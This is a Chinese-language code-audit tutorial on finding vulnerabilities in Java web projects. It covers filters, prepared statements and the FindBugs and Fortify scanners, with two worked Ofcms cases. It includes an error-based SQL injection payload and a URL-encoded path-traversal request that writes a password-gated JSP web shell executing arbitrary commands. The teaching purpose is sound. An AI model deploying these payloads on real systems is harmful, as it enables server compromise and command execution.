55 代码审计-JAVA项目注入上传搜索或插件挖掘

目录

    • 必备知识点
    • 演示案例:
      • 简易Demo段SQL注入及预编译
      • IDEA审计插件FindBugs安装使用
      • Fortify_SCA代码自动审计神器使用
      • Ofcms后台SQL注入-全局搜索关键字
      • Ofcms后台任意文件上传-功能点测试
    • 涉及资源:

我们一般针对java项目,进行漏洞分析的话,主要是从三方面去分析,代码层面分析,还有代码引用或编写的框架,框架也会有一些安全问题。除此之外,容器搭建也会造成安全问题,这个是简要的分类,我们分析的三个方向
在这里插入图片描述
由于javaweb的语言特性和一些常规的php和脚本,大致不一样,所以在漏洞方面的类型也会有些小范围的区别,这个可以参考我们之前讲过的webgoat java环境靶场里面的常规漏洞进行分析,这个是整体的思路

这些知识点,我们前期简要的去看一下就好了,这些常规意思你下去看到查一下,记住几个就行了
这个跟我们php里面get提交、post提交比较类似
在这里插入图片描述
在这里插入图片描述

必备知识点

简要理解JAVAWEB项目组成
代码方面,框架方面,中间件容器方面等
简要理解JAVAWEB执行流程
参考下图及
https://www.cnblogs.com/1987721594zy/p/9186584.html
https://blog.csdn.net/weily11/article/details/80643472

我们着重讲过滤器,他可以由配置文件指定过滤器,filter在代码中会有相关的过滤和防护,由filter 来指定,所以说java和php这些常规的脚本不同的地方,java在执行的时候会有过滤器,过滤器可以进行配置、编写
一般我们在看源代码的时候,要优先看一下源码里面有没有过滤器,过滤器的一些写法又是怎样的

com:
公司项目,copyright由项目发起的公司所有
包名为com.公司名.项目名.模块名…
持久层: dao、persist、mapper
实体类: entity、model、bean、javabean、pojo
业务逻辑: service、biz
控制器: controller、servlet、action、web
过滤器: filter
异常: exception
监听器: listener

我们要知道这些常规命名代表什么意思
在不同的框架下一般包的命名规则不同,但大概如上,不同功能的 Java 文件放在不同的包中,根据 Java 文件的功能统一安放及命名。

#审计思路:
根据业务功能审计优点:
明确程序的架构以及业务逻辑,明确数据流向,
可以从获取参数–>表现层–>业务层–>持久层,通读源码;
缺点:耗费时间;

根据敏感函数审计优点:
可以快速高效的挖出想要的漏洞,判断敏感函数上下文,追踪参数源头;
缺点:覆盖不了逻辑漏洞,不了解程序的基本框架;

#审计开始前:
1、确定框架:
目的:要分析一下当前框架是否存在漏洞
通过以下三种方式确定框架:
web.xml
看导入的jar包或pom.xml
看配置文件
Struts2 配智文件:struts.xml
Spring配置文件: applicationContext.xml
Spring Mvc 配置文件: spring-mvc.xml
Hibernate 配置文件: Mibernate.cfg.xml
Mybaits 配置文件: mybatis-config.xml

确定框架是为了便于对框架进行了解,因为每个框架不同的话,那么框架的安全性也不同,我们知道Struts2曾经报过很多漏洞,特别是RCE执行漏洞,在前面几年非常火,所以你确定是这个框架开的项目之后,一旦这个框架曾经报过漏洞,或者说这个框架不怎么安全,也会对这个项目造成漏洞攻击

2、查看是否存在拦截器
通过查看web.xml文件,确定是否配置相关拦截器。

我们即使看到代码中可能存在安全问题,但是由于这个过滤器的存在,那么你在测试攻击的时候,也会受到过滤器的拦截,这个跟PHP的一些东西是不太一样的,他是把一些过滤器写到配置文件里面去,那么代码就受到过滤器的保护,所以过滤器是我们执行流程比较关注的点,因为他决定这个漏洞是否能够成功应用的一个根本

演示案例:

简易Demo段SQL注入及预编译

大家要分析java代码,是没有一些好的审计工具,大家需要安装idea工具,java开发的环境有很多idea,这里我们使用的是IntelliJ IDEA,因为这个是比较主流的
在这里插入图片描述
现在我们把项目载入进去,常规的javaweb代码,是有jsp格式去书写的,那么在有些项目里面,格式是java类型的,这个是看他的开发框架,有没有引用开发框架,如果没有引用框架,那大部分源码都是jsp的格式源码,如果有引用框架,那一般是java和jar一些的格式文件
在这里插入图片描述

在这个文件里面,一般java源码、他的web代码,一般是储存在src/main/webapp里面,还有一个是src/main/java/com.anbai.sec
在这里插入图片描述

在这里插入图片描述
一般我们是看java目录和webapp目录,一般web的源码是存放在webapp下面,在下面我们可以看到这里有些目录同时有些jsp文件,jsp文件就是一些很简单的程序源码,如果是jar的还需要对jar的源码进行反编译查看,反编译很简单,可以利用一些工具进行反编译,还可以把jar文件拖到idea里面自动进行反编译
在这里插入图片描述
我们看一下jsp代码
在这里插入图片描述
代码中出现了关键字,其中有sql语句,user在接收过来之后,并没有受到相关的影响
在这里插入图片描述
我们把项目运行起来,我们找到那个文件,后面加上参数
在这里插入图片描述
这些是运行起来中间件的信息,他可以实时监控你返回的地址信息
在这里插入图片描述
为了更加方便,我们自己开个数据库的插件工具来监听一下当前数据库的执行语句
在这里插入图片描述
我们刷新一下刚才地址,来看一下当前语句执行情况,可以看到在这边执行了sql语句,你可以看到在这边执行了sql语句,你可以看到上面采用java连接到数据库的连接请求,我们执行了sql语句
在这里插入图片描述
我们测试一下有没有注入点,我们加上去看它数据库有没有进行组合就完事了,可以看到这里爆出了1和2
在这里插入图片描述
我们接着继续进行注入,这里就是简单的demo段sql注入
在这里插入图片描述
在这里插入图片描述
列名接上参数值再配个问号这种写法就会造成预编译机制,就是防注入的情况,我们在分析注入点的时候,你在判断注入点参数,在加上这个值user = ?的时候,那这个东西一般就是采用预编译机制了
在这里插入图片描述
我们保存一下,把项目重启一下,再去测试一下刚才的注入点
你只要加上任何东西就会变成问号,这个就是java里面自带的预编译机制
在这里插入图片描述
创建预编译对象,他会把sql语句进行预编译在这里插入图片描述
典型的代码执行语句前后问题,他是防止sql注入最有效的东西,预编译机制,这个在PHP里面也有,但是php很少看到,一般在java会常看到

java里面采用预编译机制写法特别简单,只要是稍微懂点安全的人,在数据库执行加上变量的时候,会采用?,一旦写上,预编译机制就会被采用,所以这个注入就很难进行

虽然预编译机制理论上是可以绕过的,但是要看情况,它是需要看代码写法的,有些预编译是可以绕过的,大部分是绕过不了或者是很鸡肋

大家如果是在java中分析注入代码的时候,你一定要看一下sql语句的编写方式,是不是采用我们刚才安全写法的预编译机制,采用这种机制,这个注入点是很难去操作的,那么这个注入点的挖掘是可以忽略不计了

如果是下面这个写法的话,可以去追踪一下,这里有没有过滤器
在这里插入图片描述
过滤器看pom.xml
在这里插入图片描述
这个就是过滤器的申明,关键字是filter,如果有过滤器的话,就要找到过滤器的代码段,然后分析一下,这个地方会不会受到过滤器的影响
在这里插入图片描述
java代码审计整体上跟php差不多的,只是在语言设计上面有些区别,难点是代码比较难懂,在就是它自身的框架比较多

IDEA审计插件FindBugs安装使用

利用插件是用来自动分析的,一般我们进行java代码审计是人为,人为分为两方面,第一种是根据业务功能审计优点,我们要知道java项目是干嘛用的,比如说它是论坛程序、交友程序、简简单单的门户网站,我们要知道项目面对功能不一样的话,比如他是通过文件下载的站,那么就会涉及到文件操作,就会优先考虑文件下载、上传、遍历这些漏洞,所以我们通过项目的业务功能,来去着重的分析漏洞产生点

在PHP里面经常讲到的,搜索关键字,通过这些敏感函数,比如文件类操作函数,我们就通过搜索文件类操作函数来寻找文件操作类漏洞,文件上传、文件下载;如果是注入类漏洞,就搜索sql语句关键字、接收方式,我们可以通过搜索关键字来确定你要找的方向

除了人工思路之外,还可以借助工具,这种工具就是采用自动化,一种是项目的插件,还有一种是我们比较知名的代码分析神器Fortify,Fortify支持大部分的脚本,用Fortify的原因是很多工具都不支持java

用工具去分析,可以打开突破口,相当于我们不需要去想前面的事情,只需要用这两个插件帮我们跑一下,跑完之后,我们在根据上面给到的提示,再去分析代码

FindBugs是我们第二推荐的,这个插件主要是找bug,但是他里面也集成了找安全漏洞的功能

参考网上的安装文章安装一下FindBugs
在这里插入图片描述
我们选中java项目,点开始按钮,点击是
在这里插入图片描述
他这里就会分析有没有相关漏洞,从代码中分析到这个地方可能存在安全问题,我们这种看security目录,其它一些目录都是其它的,因为这个插件主要是用来分析java书写的bug
在这里插入图片描述
这里存在sql注入和csrf漏洞、弱口令、密码显示
在这里插入图片描述
我们打开看一下,他分析到代码是在这个地方有问题
在这里插入图片描述
这个插件在用的时候,顺便用一下,我个人不是很推荐,他只是说更好的帮你分析代码的工具,真正来说,它分析到漏洞的机率不是很高,还是要用Fortify

FindBugs插件有个缺点,不能分析jsp文件,这是它最大的缺点

Fortify_SCA代码自动审计神器使用

我们打开这款工具
在这里插入图片描述
由于是java项目,然后我们选择的是这个
在这里插入图片描述
他会让我们选择java的版本,这个是根据你自己电脑安装的java版本选择的
在这里插入图片描述
一般默认就可以了
在这里插入图片描述
这个扫描过程,根据你当前电脑的配置、项目大小,他会有一段时间,大部分在三、五分钟,电脑配置比较低的话,不建议用,会崩的
在这里插入图片描述
这个就是扫描结果
在这里插入图片描述
扫描出来的sql注入
在这里插入图片描述
文件就是这个地方
在这里插入图片描述
我们进行注入测试,这里就不说,就是注入点
在这里插入图片描述
在这里插入图片描述
这边命令执行,参数cmd可控
在这里插入图片描述

Fortify工具是非常好的,他能帮你自动找到脆弱点,让你直接载入进去去看,这个是工具自动化帮你分析一遍,找到切入点,你再去确定有没有这个漏洞

idea使用技巧,把代码段打开之后,编辑>查找>在路径中查找,这个就是全局查找
在这里插入图片描述
也就是在项目中查找关键字,这边可以指定范围和一些其它的
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在项目中搜索select,通过关键字也能分析到一些问题
在这里插入图片描述

选中函数,点击查找使用,分析一下代码在那里出现过,就是全局搜索,定位函数差不多的意思,要看一下这个函数从那里来,我们要分析一下这个函数的过滤和一些写法,来分析他有没有过滤
在这里插入图片描述
选中方法,点击他
在这里插入图片描述
其实就是建立数据库连接的东西
在这里插入图片描述

Ofcms后台SQL注入-全局搜索关键字

我们载入项目
在这里插入图片描述
拿到源码之后,还是需要简单了解一下源码的业务功能,了解一下他整体的设计,看一下他的架构
在这里插入图片描述
在这里插入图片描述
项目依赖、配置文件
在这里插入图片描述
拿到源码之后,我们一般要看一下他的pom.xml,看完这个之后,还需要看一下web.xml
公司名称、几个目录
在这里插入图片描述
数据库版本
在这里插入图片描述
确认框架
在这里插入图片描述
我们点击外部库,看他引用了那些外部库
在这里插入图片描述
搜一下web.xml也能搜索出来
在这里插入图片描述
看到了过滤器和监听器了
在这里插入图片描述
一般我们在看项目源码的时候,优先看一下这几个文件,确定一下常规的信息之后,你整体的思路就比较明显了,就知道这个程序对应是什么套路,有什么框架加什么东西的开发

我们采取人工和工具同时进行,先使用工具对整体源码进行分析
在这里插入图片描述
然后把网站先给启动起来
在这里插入图片描述
进行插件分析也可以
在这里插入图片描述
网站已经启动成功了
在这里插入图片描述
我们看一下idea工具运行的地方,可以看到很多的sql语句交互的界面
在这里插入图片描述
搜索一下sql语句的关键字,这个地方好像有安全问题
在这里插入图片描述
这里定义了sql语句
在这里插入图片描述
sqlOrgnoToID没有被调用
在这里插入图片描述

我们进行全局搜索试一下,sqlOrgnoToID写法有问题,但是sqlOrgnoToID函数没有被调用过
在这里插入图片描述
我们搜索的时候只能搜索一些关键字进行确定,搜索数据库的操作性函数、搜索写法的关键字
Db.update猜想是数据库里面执行sql语句
在这里插入图片描述
结果可以在窗口中查询
在这里插入图片描述
这个地方可能存在sql注入点,因为他这里接收到sql语句之后,就用update执行了
在这里插入图片描述
我们查找文件地址在那里
在这里插入图片描述
文件地址找到之后,我们去访问文件,触发文件地址,第一个是要看他框架的路由;第二个看他代码里面有没有申明路由地址

在java里面有action开端的就是路由地址,也就是说访问system/generate/地址信息,就是触发文件
在这里插入图片描述
然后他定义的里面方法叫create,我们加create参数,就是触发这个方法,然后传递sql变量触发他
在这里插入图片描述
我们打开admin目录,登录后台
在这里插入图片描述
我们现在去触发地址,这个就是说我们直接访问不行,要有一些数据包构造,自己抓包进行分析,配合BP,就是分析它后台的地址信息,然后加载看是不是目录搞错了
在这里插入图片描述
我们现在就来访问这个地址
在这里插入图片描述
点击一下用户管理,触发地址链接,对照着去修改它
在这里插入图片描述
把路由地址信息替换一下
在这里插入图片描述
我们把它发出去,看一下对应界面的更改
在这里插入图片描述
我们现在要触发create方法,我们抓数据包进行分析,我们刷新看一下,我们看到源代码是没有query方法
在这里插入图片描述
我们点击增加这里看一下,写个test
在这里插入图片描述
这个就是触发方法,跟thinkPHP差不多
在这里插入图片描述
只是后面加了json,这个json是上面代码段包含文件默认的写法,要追踪一下java包,所以通过源代码之后,这个地址就会完整的构造出来
在这里插入图片描述
它给的参数名是sql就对应上了
在这里插入图片描述
在这里插入图片描述
我们构造payload发送过去,这个是根据数据库的情况决定的语句,如果是oracle数据库就是oracle数据库的注入语句,我这边是mysql

update of_cms_link set link _name=updatexml(1, concat(0x7e,(version())),0) where link_id=4

在这里插入图片描述
然后这里报错了
在这里插入图片描述
这个漏洞是产生在后台的,也就是说这个漏洞是鸡肋漏洞,他不是在前端的,前端的漏洞这个程序没有,它只有后台有这个漏洞,后台有这个漏洞的意义是可以操纵数据库,通过这个sql语句拿网站权限,因为后台到网站权限还有一步之遥,所以你发现这个漏洞之后,可以通过这个漏洞获取网站权限,但是这个是代码分析,分析到了sql注入漏洞

Ofcms后台任意文件上传-功能点测试

模板这里有修改文件的,其实这是个上传文件的地方
在这里插入图片描述
点保存,我们抓个包,这个地址对应save文件
在这里插入图片描述
我们搜索save方法,找到对应文件的函数
在这里插入图片描述
操作代码在这里,这里就是典型的文件接收过来的写入文件,它其实就是文件上传写入,在这个地方没有过滤
在这里插入图片描述
我们只要满足这几个参数值传递过去,就能实现文件的写入

file_path=$dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22pOdesta%22.equals(request.getParameter(%22pwd%22)))%7b%OA++++++++java.io.InputStreamt+in+*3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputstream()%3A%0A++++++++int+a+%3D+-1%3B%0A+++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A+++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E

在这里插入图片描述
上传成功
在这里插入图片描述
在这里插入图片描述
就是我们写入的代码
在这里插入图片描述
这个就是典型的功能点导入文件的分析,通过代码上面的地址信息,分析这个地方有没有相关过滤,如何实现过滤

我们从两方面入手,第一方面全局搜索关键字找特定漏洞的代码段,第二方面,网站搭建完,测试功能点,然后抓包,通过抓包的地址信息来找到对应代码段,然后分析代码段的情况

有些框架会把函数进行整改,这个是接收函数
在这里插入图片描述
但真正来讲函数是这样写的,它把函数给重新定义了,这样我们去搜索的话,就搜索不到原型,这个就是搜索关键字不好的一点,不过你通过源代码阅读分析的话,把这个东西找到是一样的道理
在这里插入图片描述
这是ofcms的两个鸡肋漏洞,因为都是在后台,前端没有漏洞,不过我们熟悉的是它整体代码的分析

从分析过程中,大家也都知道java和php的区别,第一个是代码上的区别,第二个主要是java文件对应地址的区别,这是一个比较核心的点
一些文件里面你要看路由地址
在这里插入图片描述
然后你抓包的时候看一下
在这里插入图片描述
这个路由一般会在里面申明,thinkphp里面是官方的,这个也是遵循java怎么写的,所以你要翻文件,来确定这个文件的写法;它常规的过滤器写法,sql语句的写法是它自带的,预编译机制,java语言的特性

我们懂一些pyhon、php、c++,看java代码应该能看一些明白,因为很多代码的英文单词已经写的很清楚了,save就是保存在这里插入图片描述
javaweb代码审计之所以难,是因为它的框架不一样,框架不一样,它的安全问题也不一样,就好比我们php里面使用thinkphp开发的源码,它就遵循thinkphp里内置的安全规则;java也是一样,假设你是用struts2开发的,那struts2的安全属性流程你就要按照它的来,我们讲框架漏洞只能抽其中一两个去讲,太多框架讲不完

这个框架的选用是根据网站自身决定的,常用的框架就那几种,如果网站是专门对数据库进行操作的,就选用ORM型框架,例如MyBatis框架和Hibernate框架;文章显示,会以这三种SpringMVC,Struts2框架,Spring框架,java程序有多个框架,这就是java代码审计为什么难的原因,网站用什么框架,那网站的安全就归那个框架使用,你使用什么框架就遵循它引用的规则,就会应用它自身的过滤器进行拦截,对攻击进行防护,struts2报过安全漏洞,所以框架在引用的时候,会导致源码的安全性问题;框架安全的话,源码就安全

vulhub有很多中间件漏洞,中间件漏洞不属于代码层面的,它是它中间件自身的代码漏洞
在这里插入图片描述

涉及资源:

https://blog.csdn.net/x62982/article/details/88392968
https://blog.csdn.net/weily11/article/details/80643472
https://www.cnblogs.com/kingsonfu/p/12419817.html
https://www.cnblogs.com/1987721594zy/p/9186584.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/229193.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【计算机视觉--解耦视频分割跟踪任何物体】

UIUC&Adobe开源|无需监督,使用解耦视频分割跟踪任何物体!视频分割的训练数据往往昂贵且需要大量的标注工作。这限制了将端到端算法扩展到新的视频分割任务,特别是在大词汇量的情况下。为了在不为每个个别任务训练视频数据的情况下实现“跟…

HPM6750系列--第九篇 GPIO详解(中断操作)

一、目的 在上篇中《HPM6750系列--第九篇 GPIO详解(基本操作)》我们讲解了GPIO的基本操作,本篇继续讲解GPIO的中断处理。 二、介绍 将一个引脚设置为中断涉及到以下几个步骤(此处我们以PZ02举例): 1.设置IO…

全球汽车行业的数字化转型:产品和后端的渐进之旅

如何管理汽车行业的数字化转型?在我们本篇文章中了解更多有关如何设定长期目标的信息。 正在改变汽车行业的26个数字化主题 最近一篇关于汽车行业数字化转型的论文确定了26个数字技术主题(论文详情请点击阅读原文),分为三个主要集群: 1)驾驶…

社交网络分析3:社交网络隐私攻击、保护的基本概念和方法 + 去匿名化技术 + 推理攻击技术 + k-匿名 + 基于聚类的隐私保护算法

社交网络分析3:社交网络隐私攻击、保护的基本概念和方法 去匿名化技术 推理攻击技术 k-匿名 基于聚类的隐私保护算法 写在最前面社交网络隐私泄露用户数据暴露的途径复杂行为的隐私风险技术发展带来的隐私挑战经济利益与数据售卖防范措施 社交网络 用户数据隐私…

centOS7 安装tailscale并启用子网路由

1、在centOS7上安装Tailscale客户端 #安装命令所在官网位置:https://tailscale.com/download/linux #具体命令为: curl -fsSL https://tailscale.com/install.sh | sh #命令执行后如下图所示2、设置允许IP转发和IP伪装。 安装后,您可以启动…

Shell三剑客:正则表达式(元字符)

一、定义:元字符字符是这样一类字符,它们表达的是不同字面本身的含义 二、分类: 1、基本正则表达式元字符 # ^ 行首定位 [rootlocalhost ~]# grep root /etc/passwd root:x:0:0:root:/root:/bin/bash operator:x:11:0:operator:/root:/…

webgpu demo阅读 A-Buffer

A-Buffer 简单看看原理code 简单看看原理 这个是OIT里的链表方式&#xff0c;说的是首先把每个像素搞一个链表&#xff0c;然后把深度<opaque的存起来&#xff0c;最后排序&#xff0c;然后混合 code 这里就有这么一个depht判断 再看最后合成 可以看到&#xff0c;确实是…

六:爬虫-数据解析之BeautifulSoup4

六&#xff1a;bs4简介 基本概念&#xff1a; 简单来说&#xff0c;Beautiful Soup是python的一个库&#xff0c;最主要的功能是从网页抓取数据官方解释如下&#xff1a; Beautiful Soup提供一些简单的、python式的函数用来处理导航、搜索、修改分析树等功能。 它是一个工具箱…

hive常用SQL函数及案例

1 函数简介 Hive会将常用的逻辑封装成函数给用户进行使用&#xff0c;类似于Java中的函数。 好处&#xff1a;避免用户反复写逻辑&#xff0c;可以直接拿来使用。 重点&#xff1a;用户需要知道函数叫什么&#xff0c;能做什么。 Hive提供了大量的内置函数&#xff0c;按照其特…

React系列:嵌套路由的使用

🍁 作者:知识浅谈,CSDN博客专家,阿里云签约博主,InfoQ签约博主,华为云云享专家,51CTO明日之星 📌 擅长领域:全栈工程师、爬虫、ACM算法 💒 公众号:知识浅谈 🔥网站:vip.zsqt.cc 🤞嵌套路由的使用🤞 🎈嵌套路由是什么 在一级路由中又内嵌了其他路由,这…

企业安全建设与实践-复习资料

文章目录 二、企业安全建设与实践1、复习Windows及Linux基础命令。例如&#xff1a;用户创建、权限提升等。2、复习docker 基础命令&#xff1a;启动、关闭、导入、导入、下载等命令复习建议docker菜鸟教程。3、复习Windows策略相关知识点。4、复习基线加固部分内容。5、渗透测…

STM32启动过程

STM32启动模式&#xff08;自举模式&#xff09; M3/3/7等内核&#xff0c;复位后做的第一件事&#xff1a; 从地址0x0000 0000处取出栈指针MSP的初始值&#xff0c;该值就是栈顶地址。从地址0x0000 0004处取出程序计数器指针PC的初始值&#xff0c;该值是复位向量。 芯片厂商…

DevEco Studio IDE 创建项目时候配置环境

DevEco Studio IDE 创建项目时候配置环境 一、安装环境 操作系统: Windows 10 专业版 IDE:DevEco Studio 3.1 SDK:HarmonyOS 3.1 二、在配置向导的时候意外关闭配置界面该如何二次配置IDE环境。 打开IDE的界面是这样的。 点击Create Project进行环境配置。 点击OK后出现如…

嵌入式人工智能(钱多?好学?前景好?)

概念 嵌入式人工智能&#xff08;Embedded AI&#xff09;是指将人工智能&#xff08;AI&#xff09;技术集成到各种设备和系统中&#xff0c;使其具备智能化和自主性。与传统的中央化计算模型不同&#xff0c;嵌入式人工智能将AI能力嵌入到设备本身&#xff0c;使其能够在本地…

FPGA简易加减法计算器设计

题目要求&#xff1a; &#xff08;1&#xff09;设计10以内的加减法计算器。 &#xff08;2&#xff09;1个按键用于指定加法或减法&#xff0c;一个用于指定加数或被加数&#xff0c;还有两个分别控制加数或被加数的增加或减少。 &#xff08;3&#xff09;设置的结果和计算的…

“华为杯” 第二十届中国研究生数学建模竞赛 数模之星、华为之夜与颁奖大会

文章目录 一、前言二、主要内容三、总结 &#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 一、前言 不以物喜&#xff0c;不以己悲。见众生&#xff0c;见自己。 作为荣获一等奖的学生代表&#xff0c;我有幸参加了 “华为杯” 第二十届中国研究生数学…

Linux c++开发-08-使用Linux API mmap文件内存映射

用途&#xff1a;超大文件&#xff0c;进程间共享内存 API: 示例&#xff1a; 结果&#xff1a;

【ArkTS】样式复用

如下代码&#xff0c;可以发现每个元素的样式一致&#xff0c;这时就可以将公共样式封装起来 此时可以使用Styles修饰符将公共样式进行封装 Styles修饰符 Entry Component struct Index{build() {Column(){Text(我是Text).ComStyle()Button(我是Button).ComStyle()Image().Co…

RabbitMQ手动应答与持久化

1.SleepUtil线程睡眠工具类 package com.hong.utils;/*** Description: 线程睡眠工具类* Author: hong* Date: 2023-12-16 23:10* Version: 1.0**/ public class SleepUtil {public static void sleep(int second) {try {Thread.sleep(1000*second);} catch (InterruptedExcep…

熬了一个通宵,把国内外的大模型都梳理完了!

大家好&#xff0c;大模型越来越多了&#xff0c;真的有点让人眼花缭乱。 为了让大家清晰地了解大模型&#xff0c;我熬了一个通宵把国内和国外的大模型进行了全面梳理&#xff0c;国内有189个&#xff0c;国外有20&#xff0c;同时包括大模型的来源机构、来源信息和分类等。 …